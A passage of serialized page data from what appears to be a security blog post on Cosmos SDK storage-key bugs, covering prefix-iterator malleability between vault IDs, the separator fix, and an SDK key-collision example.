values",{"type":23,"tag":139,"props":86293,"children":86294},{"style":982},[86295],{"type":28,"value":74320},{"type":23,"tag":139,"props":86297,"children":86298},{"style":279},[86299],{"type":28,"value":47566},{"type":23,"tag":139,"props":86301,"children":86302},{"style":259},[86303],{"type":28,"value":1723},{"type":23,"tag":139,"props":86305,"children":86306},{"style":305},[86307],{"type":28,"value":83056},{"type":23,"tag":139,"props":86309,"children":86310},{"style":259},[86311],{"type":28,"value":13423},{"type":23,"tag":139,"props":86313,"children":86314},{"style":279},[86315],{"type":28,"value":65003},{"type":23,"tag":139,"props":86317,"children":86318},{"style":259},[86319],{"type":28,"value":1723},{"type":23,"tag":139,"props":86321,"children":86322},{"style":305},[86323],{"type":28,"value":83073},{"type":23,"tag":139,"props":86325,"children":86326},{"style":259},[86327],{"type":28,"value":13423},{"type":23,"tag":139,"props":86329,"children":86330},{"style":305},[86331],{"type":28,"value":86279},{"type":23,"tag":139,"props":86333,"children":86334},{"style":259},[86335],{"type":28,"value":76001},{"type":23,"tag":139,"props":86337,"children":86338},{"class":141,"line":178},[86339,86344,86348,86352,86356,86361],{"type":23,"tag":139,"props":86340,"children":86341},{"style":294},[86342],{"type":28,"value":86343},"    i",{"type":23,"tag":139,"props":86345,"children":86346},{"style":982},[86347],{"type":28,"value":74320},{"type":23,"tag":139,"props":86349,"children":86350},{"style":294},[86351],{"type":28,"value":76545},{"type":23,"tag":139,"props":86353,"children":86354},{"style":259},[86355],{"type":28,"value":73},{"type":23,"tag":139,"props":86357,"children":86358},{"style":245},[86359],{"type":28,"value":86360},"KVStorePrefixIterator",{"type":23,"tag":139,"props":86362,"children":86363},{"style":259},[86364],{"type":28,"value":1443},{"type":23,"tag":139,"props":86366,"children":86367},{"class":141,"line":187},[86368,86373],{"type":23,"tag":139,"props":86369,"children":86370},{"style":294},[86371],{"type":28,"value":86372},"        kvStore",{"type":23,"tag":139,"props":86374,"children":86375},{"style":259},[86376],{"type":28,"value":1488},{"type":23,"tag":139,"props":86378,"children":86379},{"class":141,"line":196},[86380,86385,86389,86393,86397,86402,86406,86411,86415,86419],{"type":23,"tag":139,"props":86381,"children":86382},{"style":294},[86383],{"type":28,"value":86384},"        fmt",{"type":23,"tag":139,"props":86386,"children":86387},{"style":259},[86388],{"type":28,"value":73},{"type":23,"tag":139,"props":86390,"children":86391},{"style":245},[86392],{"type":28,"value":83127},{"type":23,"tag":139,"props":86394,"children":86395},{"style":259},[86396],{"type":28,"value":262},{"type":23,"tag":139,"props":86398,"children":86399},{"style":265},[86400],{"type":28,"value":86401},"\"%s%d\"",{"type":23,"tag":139,"props":86403,"children":86404},{"style":259},[86405],{"type":28,"value":1052},{"type":23,"tag":139,"props":86407,"children":86408},{"style":294},[86409],{"type":28,"value":86410},"PositionMapPrefix",{"type":23,"tag":139,"props":86412,"children":86413},{"style":259},[86414],{"type":28,"value":1052},{"type":23,"tag":139,"props":86416,"children":86417},{"style":294},[86418],{"type":28,"value":86195},{"type":23,"tag":139,"props":86420,"children":86421},{"style":259},[86422],{"type":28,"value":273},{"type":23,"tag":139,"props":86424,"children":86425},{"class":141,"line":205},[86426],{"type":23,"tag":139,"props":86427,"children":86428},{"style":259},[86429],{"type":28,"value":21939},{"type":23,"tag":139,"props":86431,"children":86432},{"class":141,"line":214},[86433,86437,86442,86446,86450,86455,86459,86463,86467,86472],{"type":23,"tag":139,"props":86434,"children":86435},{"style":319},[86436],{"type":28,"value":1003},{"type":23,"tag":139,"props":86438,"children":86439},{"style":259},[86440],{"type":28,"value":86441}," ; ",{"type":23,"tag":139,"props":86443,"children":86444},{"style":294},[86445],{"type":28,"value":1728},{"type":23,"tag":139,"props":86447,"children":86448},{"style":259},[86449],{"type":28,"value":73},{"type":23,"tag":139,"props":86451,"children":86452},{"style":245},[86453],{"type":28,"value":86454},"Valid",{"type":23,"tag":139,"props":86456,"children":86457},{"style":259},[86458],{"type":28,"value":26470},{"type":23,"tag":139,"props":86460,"children":86461},{"style":294},[86462],{"type":28,"value":1728},{"type":23,"tag":139,"props":86464,"children":86465},{"style":259},[86466],{"type":28,"value":73},{"type":23,"tag":139,"props":86468,"children":86469},{"style":245},[86470],{"type":28,"value":86471},"Next",{"type":23,"tag":139,"props":86473,"children":86474},{"style":259},[86475],{"type":28,"value":13747},{"type":23,"tag":139,"props":86477,"children":86478},{"class":141,"line":1320},[86479,86484,86488,86493,86497,86501,86505,86509,86513,86518,86522,86527],{"type":23,"tag":139,"props":86480,"children":86481},{"style":294},[86482],{"type":28,"value":86483},"        k",{"type":23,"tag":139,"props":86485,"children":86486},{"style":982},[86487],{"type":28,"value":74320},{"type":23,"tag":139,"props":86489,"children":86490},{"style":294},[86491],{"type":28,"value":86492}," strings",{"type":23,"tag":139,"props":86494,"children":86495},{"style":259},[86496],{"type":28,"value":73},{"type":23,"tag":139,"props":86498,"children":86499},{"style":245},[86500],{"type":28,"value":67944},{"type":23,"tag":139,"props":86502,"children":86503},{"style":259},[86504],{"type":28,"value":262},{"type":23,"tag":139,"props":86506,"children":86507},{"style":294},[86508],{"type":28,"value":1728},{"type":23,"tag":139,"props":86510,"children":86511},{"style":259},[86512],{"type":28,"value":73},{"type":23,"tag":139,"props":86514,"children":86515},{"style":245},[86516],{"type":28,"value":86517},"Key",{"type":23,"tag":139,"props":86519,"children":86520},{"style":259},[86521],{"type":28,"value":16389},{"type":23,"tag":139,"props":86523,"children":86524},{"style":294},[86525],{"type":28,"value":86526},"Seperator",{"type":23,"tag":139,"props":86528,"children":86529},{"style":259},[86530],{"type":28,"value":273},{"type":23,"tag":139,"props":86532,"children":86533},{"class":141,"line":1329},[86534],{"type":23,"tag":139,"props":86535,"children":86536},{"emptyLinePlaceholder":15},[86537],{"type":28,"value":184},{"type":23,"tag":139,"props":86539,"children":86540},{"class":141,"line":1580},[86541,86546,86550,86554,86559,86563,86567,86571,86575,86580,86584,86589,86593,86597],{"type":23,"tag":139,"props":86542,"children":86543},{"style":294},[86544],{"type":28,"value":86545},"        username",{"type":23,"tag":139,"props":86547,"children":86548},{"style":982},[86549],{"type":28,"value":74320},{"type":23,"tag":139,"props":86551,"children":86552},{"style":245},[86553],{"type":28,"value":83468},{"type":23,"tag":139,"props":86555,"children":86556},{"style":259},[86557],{"type":28,"value":86558},"([]",{"type":23,"tag":139,"props":86560,"children":86561},{"style":305},[86562],{"type":28,"value":82669},{"type":23,"tag":139,"props":86564,"children":86565},{"style":259},[86566],{"type":28,"value":1052},{"type":23,"tag":139,"props":86568,"children":86569},{"style":294},[86570],{"type":28,"value":83541},{"type":23,"tag":139,"props":86572,"children":86573},{"style":259},[86574],{"type":28,"value":73},{"type":23,"tag":139,"props":86576,"children":86577},{"style":245},[86578],{"type":28,"value":86579},"DecodedLen",{"type":23,"tag":139,"props":86581,"children":86582},{"style":259},[86583],{"type":28,"value":262},{"type":23,"tag":139,"props":86585,"children":86586},{"style":294},[86587],{"type":28,"value":86588},"k",{"type":23,"tag":139,"props":86590,"children":86591},{"style":259},[86592],{"type":28,"value":1723},{"type":23,"tag":139,"props":86594,"children":86595},{"style":1016},[86596],{"type":28,"value":2021},{"type":23,"tag":139,"props":86598,"children":86599},{"style":259},[86600],{"type":28,"value":86601},"]))\n",{"type":23,"tag":139,"props":86603,"children":86604},{"class":141,"line":1597},[86605,86609,86613,86617,86621,86626,86630,86635,86639,86643,86647,86651,86655,86659],{"type":23,"tag":139,"props":86606,"children":86607},{"style":294},[86608],{"type":28,"value":25769},{"type":23,"tag":139,"props":86610,"children":86611},{"style":259},[86612],{"type":28,"value":1052},{"type":23,"tag":139,"props":86614,"children":86615},{"style":294},[86616],{"type":28,"value":46317},{"type":23,"tag":139,"props":86618,"children":86619},{"style":982},[86620],{"type":28,"value":74320},{"type":23,"tag":139,"props":86622,"children":86623},{"style":294},[86624],{"type":28,"value":86625}," hex",{"type":23,"tag":139,"props":86627,"children":86628},{"style":259},[86629],{"type":28,"value":73},{"type":23,"tag":139,"props":86631,"children":86632},{"style":245},[86633],{"type":28,"value":86634},"Decode",{"type":23,"tag":139,"props":86636,"children":86637},{"style":259},[86638],{"type":28,"value":262},{"type":23,"tag":139,"props":86640,"children":86641},{"style":294},[86642],{"type":28,"value":83375},{"type":23,"tag":139,"props":86644,"children":86645},{"style":259},[86646],{"type":28,"value":1052},{"type":23,"tag":139,"props":86648,"children":86649},{"style":294},[86650],{"type":28,"value":86588},{"type":23,"tag":139,"props":86652,"children":86653},{"style":259},[86654],{"type":28,"value":1723},{"type":23,"tag":139,"props":86656,"children":86657},{"style":1016},[86658],{"type":28,"value":2021},{"type":23,"tag":139,"props":86660,"children":86661},{"style":259},[86662],{"type":28,"value":53339},{"type":23,"tag":139,"props":86664,"children":86665},{"class":141,"line":1614},[86666,86670,86674,86678,86682],{"type":23,"tag":139,"props":86667,"children":86668},{"style":319},[86669],{"type":28,"value":1249},{"type":23,"tag":139,"props":86671,"children":86672},{"style":294},[86673],{"type":28,"value":46418},{"type":23,"tag":139,"props":86675,"children":86676},{"style":982},[86677],{"type":28,"value":62287},{"type":23,"tag":139,"props":86679,"children":86680},{"style":279},[86681],{"type":28,"value":79822},{"type":23,"tag":139,"props":86683,"children":86684},{"style":259},[86685],{"type":28,"value":1268},{"type":23,"tag":139,"props":86687,"children":86688},{"class":141,"line":1627},[86689,86693,86697,86701],{"type":23,"tag":139,"props":86690,"children":86691},{"style":319},[86692],{"type":28,"value":76980},{"type":23,"tag":139,"props":86694,"children":86695},{"style":279},[86696],{"type":28,"value":79822},{"type":23,"tag":139,"props":86698,"children":86699},{"style":259},[86700],{"type":28,"value":1052},{"type":23,"tag":139,"props":86702,"children":86703},{"style":294},[86704],{"type":28,"value":81543},{"type":23,"tag":139,"props":86706,"children":86707},{"class":141,"line":1636},[86708],{"type":23,"tag":139,"props":86709,"children":86710},{"style":259},[86711],{"type":28,"value":1326},{"type":23,"tag":139,"props":86713,"children":86714},{"class":141,"line":1659},[86715],{"type":23,"tag":139,"props":86716,"children":86717},{"emptyLinePlaceholder":15},[86718],{"type":28,"value":184},{"type":23,"tag":139,"props":86720,"children":86721},{"class":141,"line":1667},[86722,86727,86731,86735,86739,86743,86747,86751,86755,86759,86763,86767,86771,86775],{"type":23,"tag":139,"props":86723,"children":86724},{"style":294},[86725],{"type":28,"value":86726},"        positionName",{"type":23,"tag":139,"props":86728,"children":86729},{"style":982},[86730],{"type":28,"value":74320},{"type":23,"tag":139,"props":86732,"children":86733},{"style":245},[86734],{"type":28,"value":83468},{"type":23,"tag":139,"props":86736,"children":86737},{"style":259},[86738],{"type":28,"value":86558},{"type":23,"tag":139,"props":86740,"children":86741},{"style":305},[86742],{"type":28,"value":82669},{"type":23,"tag":139,"props":86744,"children":86745},{"style":259},[86746],{"type":28,"value":1052},{"type":23,"tag":139,"props":86748,"children":86749},{"style":294},[86750],{"type":28,"value":83541},{"type":23,"tag":139,"props":86752,"children":86753},{"style":259},[86754],{"type":28,"value":73},{"type":23,"tag":139,"props":86756,"children":86757},{"style":245},[86758],{"type":28,"value":86579},{"type":23,"tag":139,"props":86760,"children":86761},{"style":259},[86762],{"type":28,"value":262},{"type":23,"tag":139,"props":86764,"children":86765},{"style":294},[86766],{"type":28,"value":86588},{"type":23,"tag":139,"props":86768,"children":86769},{"style":259},[86770],{"type":28,"value":1723},{"type":23,"tag":139,"props":86772,"children":86773},{"style":1016},[86774],{"type":28,"value":647},{"type":23,"tag":139,"props":86776,"children":86777},{"style":259},[86778],{"type":28,"value":86601},{"type":23,"tag":139,"props":86780,"children":86781},{"class":141,"line":1676},[86782,86786,86790,86794,86798,86802,86806,86810,86814,86818,86822,86826,86830,86834],{"type":23,"tag":139,"props":86783,"children":86784},{"style":294},[86785],{"type":28,"value":25769},{"type":23,"tag":139,"props":86787,"children":86788},{"style":259},[86789],{"type":28,"value":1052},{"type":23,"tag":139,"props":86791,"children":86792},{"style":294},[86793],{"type":28,"value":46317},{"type":23,"tag":139,"props":86795,"children":86796},{"style":982},[86797],{"type":28,"value":74320},{"type":23,"tag":139,"props":86799,"children":86800},{"style":294},[86801],{"type":28,"value":86625},{"type":23,"tag":139,"props":86803,"children":86804},{"style":259},[86805],{"type":28,"value":73},{"type":23,"tag":139,"props":86807,"children":86808},{"style":245},[86809],{"type":28,"value":86634},{"type":23,"tag":139,"props":86811,"children":86812},{"style":259},[86813],{"type":28,"value":262},{"type":23,"tag":139,"props":86815,"children":86816},{"style":294},[86817],{"type":28,"value":83644},{"type":23,"tag":139,"props":86819,"children":86820},{"style":259},[86821],{"type":28,"value":1052},{"type":23,"tag":139,"props":86823,"children":86824},{"style":294},[86825],{"type":28,"value":86588},{"type":23,"tag":139,"props":86827,"children":86828},{"style":259},[86829],{"type":28,"value":1723},{"type":23,"tag":139,"props":86831,"children":86832},{"style":1016},[86833],{"type":28,"value":647},{"type":23,"tag":139,"props":86835,"children":86836},{"style":259},[86837],{"type":28,"value":53339},{"type":23,"tag":139,"props":86839,"children":86840},{"class":141,"line":1745},[86841,86845,86849,86853,86857],{"type":23,"tag":139,"props":86842,"children":86843},{"style":319},[86844],{"type":28,"value":1249},{"type":23,"tag":139,"props":86846,"children":86847},{"style":294},[86848],{"type":28,"value":46418},{"type":23,"tag":139,"props":86850,"children":86851},{"style":982},[86852],{"type":28,"value":62287},{"type":23,"tag":139,"props":86854,"children":86855},{"style":279},[86856],{"type":28,"value":79822},{"type":23,"tag":139,"props":86858,"children":86859},{"style":259},[86860],{"type":28,"value":1268},{"type":23,"tag":139,"props":86862,"children":86863},{"class":141,"line":1753},[86864,86868,86872,86876],{"type":23,"tag":139,"props":86865,"children":86866},{"style":319},[86867],{"type":28,"value":76980},{"type":23,"tag":139,"props":86869,"children":86870},{"style":279},[86871],{"type":28,"value":79822},{"type":23,"tag":139,"props":86873,"children":86874},{"style":259},[86875],{"type":28,"value":1052},{"type":23,"tag":139,"props":86877,"children":86878},{"style":294},[86879],{"type":28,"value":81543},{"type":23,"tag":139,"props":86881,"children":86882},{"class":141,"line":1783},[86883],{"type":23,"tag":139,"props":86884,"children":86885},{"style":259},[86886],{"type":28,"value":1326},{"type":23,"tag":139,"props":86888,"children":86889},{"class":141,"line":1791},[86890],{"type":23,"tag":139,"props":86891,"children":86892},{"emptyLinePlaceholder":15},[86893],{"type":28,"value":184},{"type":23,"tag":139,"props":86895,"children":86896},{"class":141,"line":1823},[86897,86901,86905,86909,86913,86917,86922,86926,86930,86935,86939,86943],{"type":23,"tag":139,"props":86898,"children":86899},{"style":319},[86900],{"type":28,"value":1249},{"type":23,"tag":139,"props":86902,"children":86903},{"style":294},[86904],{"type":28,"value":60542},{"type":23,"tag":139,"props":86906,"children":86907},{"style":259},[86908],{"type":28,"value":1052},{"type":23,"tag":139,"props":86910,"children":86911},{"style":294},[86912],{"type":28,"value":76671},{"type":23,"tag":139,"props":86914,"children":86915},{"style":982},[86916],{"type":28,"value":74320},{"type":23,"tag":139,"props":86918,"children":86919},{"style":294},[86920],{"type":28,"value":86921}," values",{"type":23,"tag":139,"props":86923,"children":86924},{"style":259},[86925],{"type":28,"value":1723},{"type":23,"tag":139,"props":86927,"children":86928},{"style":294},[86929],{"type":28,"value":83375},{"type":23,"tag":139,"props":86931,"children":86932},{"style":259},[86933],{"type":28,"value":86934},"]; ",{"type":23,"tag":139,"props":86936,"children":86937},{"style":982},[86938],{"type":28,"value":18629},{"type":23,"tag":139,"props":86940,"children":86941},{"style":294},[86942],{"type":28,"value":76671},{"type":23,"tag":139,"props":86944,"children":86945},{"style":259},[86946],{"type":28,"value":1268},{"type":23,"tag":139,"props":86948,"children":86949},{"class":141,"line":1831},[86950,86955,86959,86963,86967,86971,86975,86979,86983,86987,86991],{"type":23,"tag":139,"props":86951,"children":86952},{"style":294},[86953],{"type":28,"value":86954},"            values",{"type":23,"tag":139,"props":86956,"children":86957},{"style":259},[86958],{"type":28,"value":1723},{"type":23,"tag":139,"props":86960,"children":86961},{"style":294},[86962],{"type":28,"value":83375},{"type":23,"tag":139,"props":86964,"children":86965},{"style":259},[86966],{"type":28,"value":6666},{"type":23,"tag":139,"props":86968,"children":86969},{"style":982},[86970],{"type":28,"value":1067},{"type":23,"tag":139,"props":86972,"children":86973},{"style":245},[86974],{"type":28,"value":83468},{"type":23,"tag":139,"props":86976,"children":86977},{"style":259},[86978],{"type":28,"value":262},{"type":23,"tag":139,"props":86980,"children":86981},{"style":279},[86982],{"type":28,"value":65003},{"type":23,"tag":139,"props":86984,"children":86985},{"style":259},[86986],{"type":28,"value":1723},{"type":23,"tag":139,"props":86988,"children":86989},{"style":305},[86990],{"type":28,"value":83073},{"type":23,"tag":139,"props":86992,"children":86993},{"style":259},[86994],{"type":28,"value":53339},{"type":23,"tag":139,"props":86996,"children":86997},{"class":141,"line":1891},[86998],{"type":23,"tag":139,"props":86999,"children":87000},{"style":259},[87001],{"type":28,"value":1326},{"type":23,"tag":139,"props":87003,"children":87004},{"class":141,"line":7053},[87005],{"type":23,"tag":139,"props":87006,"children":87007},{"emptyLinePlaceholder":15},[87008],{"type":28,"value":184},{"type":23,"tag":139,"props":87010,"children":87011},{"class":141,"line":7071},[87012,87017,87021,87025,87029,87033,87037,87041,87045],{"type":23,"tag":139,"props":87013,"children":87014},{"style":294},[87015],{"type":28,"value":87016},"        values",{"type":23,"tag":139,"props":87018,"children":87019},{"style":259},[87020],{"type":28,"value":1723},{"type":23,"tag":139,"props":87022,"children":87023},{"style":294},[87024],{"type":28,"value":83375},{"type":23,"tag":139,"props":87026,"children":87027},{"style":259},[87028],{"type":28,"value":46855},{"type":23,"tag":139,"props":87030,"children":87031},{"style":294},[87032],{"type":28,"value":83644},{"type":23,"tag":139,"props":87034,"children":87035},{"style":259},[87036],{"type":28,"value":6666},{"type":23,"tag":139,"props":87038,"children":87039},{"style":982},[87040],{"type":28,"value":1067},{"type":23,"tag":139,"props":87042,"children":87043},{"style":294},[87044],{"type":28,"value":5428},{"type":23,"tag":139,"props":87046,"children":87047},{"style":259},[87048],{"type":28,"value":1268},{"type":23,"tag":139,"props":87050,"children":87051},{"class":141,"line":7116},[87052,87056,87060,87065,87069,87074],{"type":23,"tag":139,"props":87053,"children":87054},{"style":294},[87055],{"type":28,"value":24972},{"type":23,"tag":139,"props":87057,"children":87058},{"style":259},[87059],{"type":28,"value":13343},{"type":23,"tag":139,"props":87061,"children":87062},{"style":294},[87063],{"type":28,"value":87064},"iterator",{"type":23,"tag":139,"props":87066,"children":87067},{"style":259},[87068],{"type":28,"value":73},{"type":23,"tag":139,"props":87070,"children":87071},{"style":245},[87072],{"type":28,"value":87073},"Value",{"type":23,"tag":139,"props":87075,"children":87076},{"style":259},[87077],{"type":28,"value":1471},{"type":23,"tag":139,"props":87079,"children":87080},{"class":141,"line":7222},[87081],{"type":23,"tag":139,"props":87082,"children":87083},{"style":259},[87084],{"type":28,"value":1326},{"type":23,"tag":139,"props":87086,"children":87087},{"class":141,"line":21518},[87088],{"type":23,"tag":139,"props":87089,"children":87090},{"style":259},[87091],{"type":28,"value":1335},{"type":23,"tag":139,"props":87093,"children":87094},{"class":141,"line":21553},[87095,87099],{"type":23,"tag":139,"props":87096,"children":87097},{"style":319},[87098],{"type":28,"value":322},{"type":23,"tag":139,"props":87100,"children":87101},{"style":294},[87102],{"type":28,"value":87103}," values\n",{"type":23,"tag":139,"props":87105,"children":87106},{"class":141,"line":21561},[87107],{"type":23,"tag":139,"props":87108,"children":87109},{"style":259},[87110],{"type":28,"value":1897},{"type":23,"tag":24,"props":87112,"children":87113},{},[87114,87116,87122,87123,87129,87131,87136,87138,87143,87145,87150,87152,87158,87160,87166],{"type":28,"value":87115},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":23,"tag":135,"props":87117,"children":87119},{"className":87118},[],[87120],{"type":28,"value":87121},"vaultId = 1",{"type":28,"value":9002},{"type":23,"tag":135,"props":87124,"children":87126},{"className":87125},[],[87127],{"type":28,"value":87128},"vaultId = 10",{"type":28,"value":87130}," coexist. If we try to fetch data under ",{"type":23,"tag":135,"props":87132,"children":87134},{"className":87133},[],[87135],{"type":28,"value":87121},{"type":28,"value":87137},", all entries under ",{"type":23,"tag":135,"props":87139,"children":87141},{"className":87140},[],[87142],{"type":28,"value":87128},{"type":28,"value":87144}," will also be returned simply because ",{"type":23,"tag":135,"props":87146,"children":87148},{"className":87147},[],[87149],{"type":28,"value":647},{"type":28,"value":87151}," is a prefix of ",{"type":23,"tag":135,"props":87153,"children":87155},{"className":87154},[],[87156],{"type":28,"value":87157},"10",{"type":28,"value":87159},". To fix this, we must once again append the ",{"type":23,"tag":135,"props":87161,"children":87163},{"className":87162},[],[87164],{"type":28,"value":87165},"Separator",{"type":28,"value":87167}," to the iterator prefix.",{"type":23,"tag":128,"props":87169,"children":87171},{"code":87170,"language":74068,"meta":7,"className":74069,"style":7},"i := sdk.KVStorePrefixIterator(\n    kvStore,\n    fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[87172],{"type":23,"tag":135,"props":87173,"children":87174},{"__ignoreMap":7},[87175,87202,87214,87267],{"type":23,"tag":139,"props":87176,"children":87177},{"class":141,"line":142},[87178,87182,87186,87190,87194,87198],{"type":23,"tag":139,"props":87179,"children":87180},{"style":294},[87181],{"type":28,"value":1728},{"type":23,"tag":139,"props":87183,"children":87184},{"style":982},[87185],{"type":28,"value":74320},{"type":23,"tag":139,"props":87187,"children":87188},{"style":294},[87189],{"type":28,"value":76545},{"type":23,"tag":139,"props":87191,"children":87192},{"style":259},[87193],{"type":28,"value":73},{"type":23,"tag":139,"props":87195,"children":87196},{"style":245},[87197],{"type":28,"value":86360},{"type":23,"tag":139,"props":87199,"children":87200},{"style":259},[87201],{"type":28,"value":1443},{"type":23,"tag":139,"props":87203,"children":87204},{"class":141,"line":151},[87205,87210],{"type":23,"tag":139,"props":87206,"children":87207},{"style":294},[87208],{"type":28,"value":87209},"    kvStore",{"type":23,"tag":139,"props":87211,"children":87212},{"style":259},[87213],{"type":28,"value":1488},{"type":23,"tag":139,"props":87215,"children":87216},{"class":141,"line":160},[87217,87222,87226,87230,87234,87239,87243,87247,87251,87255,87259,87263],{"type":23,"tag":139,"props":87218,"children":87219},{"style":294},[87220],{"type":28,"value":87221},"    fmt",{"type":23,"tag":139,"props":87223,"children":87224},{"style":259},[87225],{"type":28,"value":73},{"type":23,"tag":139,"props":87227,"children":87228},{"style":245},[87229],{"type":28,"value":83127},{"type":23,"tag":139,"props":87231,"children":87232},{"style":259},[87233],{"type":28,"value":262},{"type":23,"tag":139,"props":87235,"children":87236},{"style":265},[87237],{"type":28,"value":87238},"\"%s%d%s\"",{"type":23,"tag":139,"props":87240,"children":87241},{"style":259},[87242],{"type":28,"value":1052},{"type":23,"tag":139,"props":87244,"children":87245},{"style":294},[87246],{"type":28,"value":86410},{"type":23,"tag":139,"props":87248,"children":87249},{"style":259},[87250],{"type":28,"value":1052},{"type":23,"tag":139,"props":87252,"children":87253},{"style":294},[87254],{"type":28,"value":86195},{"type":23,"tag":139,"props":87256,"children":87257},{"style":259},[87258],{"type":28,"value":1052},{"type":23,"tag":139,"props":87260,"children":87261},{"style":294},[87262],{"type":28,"value":86526},{"type":23,"tag":139,"props":87264,"children":87265},{"style":259},[87266],{"type":28,"value":4739},{"type":23,"tag":139,"props":87268,"children":87269},{"class":141,"line":169},[87270],{"type":23,"tag":139,"props":87271,"children":87272},{"style":259},[87273],{"type":28,"value":273},{"type":23,"tag":24,"props":87275,"children":87276},{},[87277,87279,87284],{"type":28,"value":87278},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":23,"tag":135,"props":87280,"children":87282},{"className":87281},[],[87283],{"type":28,"value":82881},{"type":28,"value":87285}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":23,"tag":24,"props":87287,"children":87288},{},[87289],{"type":28,"value":87290},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":23,"tag":666,"props":87292,"children":87294},{"id":87293},"real-world-examples-5",[87295],{"type":28,"value":74593},{"type":23,"tag":24,"props":87297,"children":87298},{},[87299,87300,87305,87307,87314,87316,87322],{"type":28,"value":14625},{"type":23,"tag":135,"props":87301,"children":87303},{"className":87302},[],[87304],{"type":28,"value":76366},{"type":28,"value":87306}," previously lacked protection against KVStore ",{"type":23,"tag":64,"props":87308,"children":87311},{"href":87309,"rel":87310},"https://github.com/cosmos/cosmos-sdk/pull/9363",[68],[87312],{"type":28,"value":87313},"key collisions",{"type":28,"value":87315},". This prior oversight allowed developers to unintentionally create two ",{"type":23,"tag":135,"props":87317,"children":87319},{"className":87318},[],[87320],{"type":28,"value":87321},"KVStores",{"type":28,"value":87323}," that were not independent of each other.",{"type":23,"tag":24,"props":87325,"children":87326},{},[87327],{"type":23,"tag":64,"props":87328,"children":87331},{"href":87329,"rel":87330},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[68],[87332],{"type":28,"value":74643},{"type":23,"tag":128,"props":87334,"children":87336},{"code":87335,"language":74068,"meta":7,"className":74069,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n    keys := make(map[string]*KVStoreKey)\n    for _, name := range names {\n        keys[name] = NewKVStoreKey(name)\n    }\n\n    return keys\n}\n",[87337],{"type":23,"tag":135,"props":87338,"children":87339},{"__ignoreMap":7},[87340,87402,87450,87486,87526,87533,87540,87552],{"type":23,"tag":139,"props":87341,"children":87342},{"class":141,"line":142},[87343,87347,87352,87356,87361,87365,87369,87373,87377,87381,87385,87389,87393,87398],{"type":23,"tag":139,"props":87344,"children":87345},{"style":279},[87346],{"type":28,"value":74204},{"type":23,"tag":139,"props":87348,"children":87349},{"style":245},[87350],{"type":28,"value":87351}," NewKVStoreKeys",{"type":23,"tag":139,"props":87353,"children":87354},{"style":259},[87355],{"type":28,"value":262},{"type":23,"tag":139,"props":87357,"children":87358},{"style":294},[87359],{"type":28,"value":87360},"names",{"type":23,"tag":139,"props":87362,"children":87363},{"style":982},[87364],{"type":28,"value":23320},{"type":23,"tag":139,"props":87366,"children":87367},{"style":305},[87368],{"type":28,"value":27687},{"type":23,"tag":139,"props":87370,"children":87371},{"style":259},[87372],{"type":28,"value":1062},{"type":23,"tag":139,"props":87374,"children":87375},{"style":279},[87376],{"type":28,"value":65003},{"type":23,"tag":139,"props":87378,"children":87379},{"style":259},[87380],{"type":28,"value":1723},{"type":23,"tag":139,"props":87382,"children":87383},{"style":305},[87384],{"type":28,"value":27687},{"type":23,"tag":139,"props":87386,"children":87387},{"style":259},[87388],{"type":28,"value":13423},{"type":23,"tag":139,"props":87390,"children":87391},{"style":982},[87392],{"type":28,"value":2573},{"type":23,"tag":139,"props":87394,"children":87395},{"style":305},[87396],{"type":28,"value":87397},"KVStoreKey",{"type":23,"tag":139,"props":87399,"children":87400},{"style":259},[87401],{"type":28,"value":1268},{"type":23,"tag":139,"props":87403,"children":87404},{"class":141,"line":151},[87405,87410,87414,87418,87422,87426,87430,87434,87438,87442,87446],{"type":23,"tag":139,"props":87406,"children":87407},{"style":294},[87408],{"type":28,"value":87409},"    keys",{"type":23,"tag":139,"props":87411,"children":87412},{"style":982},[87413],{"type":28,"value":74320},{"type":23,"tag":139,"props":87415,"children":87416},{"style":245},[87417],{"type":28,"value":83468},{"type":23,"tag":139,"props":87419,"children":87420},{"style":259},[87421],{"type":28,"value":262},{"type":23,"tag":139,"props":87423,"children":87424},{"style":279},[87425],{"type":28,"value":65003},{"type":23,"tag":139,"props":87427,"children":87428},{"style":259},[87429],{"type":28,"value":1723},{"type":23,"tag":139,"props":87431,"children":87432},{"style":305},[87433],{"type":28,"value":27687},{"type":23,"tag":139,"props":87435,"children":87436},{"style":259},[87437],{"type":28,"value":13423},{"type":23,"tag":139,"props":87439,"children":87440},{"style":982},[87441],{"type":28,"value":2573},{"type":23,"tag":139,"props":87443,"children":87444},{"style":305},[87445],{"type":28,"value":87397},{"type":23,"tag":139,"props":87447,"children":87448},{"style":259},[87449],{"type":28,"value":273},{"type":23,"tag":139,"props":87451,"children":87452},{"class":141,"line":160},[87453,87457,87461,87465,87469,87473,87477,87482],{"type":23,"tag":139,"props":87454,"children":87455},{"style":319},[87456],{"type":28,"value":1003},{"type":23,"tag":139,"props":87458,"children":87459},{"style":294},[87460],{"type":28,"value":1008},{"type":23,"tag":139,"props":87462,"children":87463},{"style":259},[87464],{"type":28,"value":1052},{"type":23,"tag":139,"props":87466,"children":87467},{"style":294},[87468],{"type":28,"value":46395},{"type":23,"tag":139,"props":87470,"children":87471},{"style":982},[87472],{"type":28,"value":74320},{"type":23,"tag":139,"props":87474,"children":87475},{"style":319},[87476],{"type":28,"value":75303},{"type":23,"tag":139,"props":87478,"children":87479},{"style":294},[87480],{"type":28,"value":87481}," names",{"type":23,"tag":139,"props":87483,"children":87484},{"style":259},[87485],{"type":28,"value":1268},{"type":23,"tag":139,"props":87487,"children":87488},{"class":141,"line":169},[87489,87493,87497,87501,87505,87509,87514,87518,87522],{"type":23,"tag":139,"props":87490,"children":87491},{"style":294},[87492],{"type":28,"value":23352},{"type":23,"tag":139,"props":87494,"children":87495},{"style":259},[87496],{"type":28,"value":1723},{"type":23,"tag":139,"props":87498,"children":87499},{"style":294},[87500],{"type":28,"value":46395},{"type":23,"tag":139,"props":87502,"children":87503},{"style":259},[87504],{"type":28,"value":6666},{"type":23,"tag":139,"props":87506,"children":87507},{"style":982},[87508],{"type":28,"value":1067},{"type":23,"tag":139,"props":87510,"children":87511},{"style":245},[87512],{"type":28,"value":87513}," 